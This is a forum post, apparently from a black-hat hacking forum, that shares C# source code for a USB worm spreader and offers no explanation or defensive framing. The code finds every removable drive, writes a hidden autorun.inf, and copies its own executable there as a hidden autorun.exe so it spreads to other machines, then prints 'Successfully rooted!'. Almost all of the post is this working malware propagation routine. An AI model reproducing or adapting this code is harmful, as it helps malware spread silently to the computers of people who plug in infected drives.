C# - USB Spread

  • 0 Replies
  • 147 Views

0 Members and 1 Guest are viewing this topic.

Offline Omega

    *
  • The Boss (Admin)
  • Black Hat Sec Member
  • Telegram: @BLACKHATSEC_FORUM
  • Posts: 190
  • Popularity: +1/-0
  • God of Malware
    • View Profile
    • Awards
« on: March 14, 2022, 09:25:44 AM »
C# - USB Spread

Code
using System;
using System.Net;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Windows.Forms;

class USBspread
{


    static void Main(string[] args)
    {

        try
        {
            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();  // we find all removable drives
            foreach (System.IO.DriveInfo drive in drives)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                    StreamWriter sw = new StreamWriter(drive.Name + "autorun.inf"); // create the autorun.inf
                    sw.WriteLine("[autorun]");
                    sw.WriteLine("open=autorun.exe");
                    sw.Close();
                    File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); // We put autorun.inf hidden

                    string appPath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;

                    try
                    {
                        File.Copy(appPath, drive.Name + "autorun.exe", true);  // We copy our exe into the removable drive
                        File.SetAttributes(drive.Name + "autorun.exe", File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.Hidden);  // attribute hidden

                    }
                    finally
                    {
                        Console.WriteLine("Found removable drive {0}", drive.Name + "... // Successfully rooted! //");
                    }
                }
                else
                {
                    Console.WriteLine("Not Removable drive : {0}", drive.Name);
                }
            }

        }
        catch (Exception e)
        {

            Console.WriteLine(e.ToString());
        }
    }
}
  • Discord: BLACK HAT SEC#5222
  • [+]
  • [-]

  •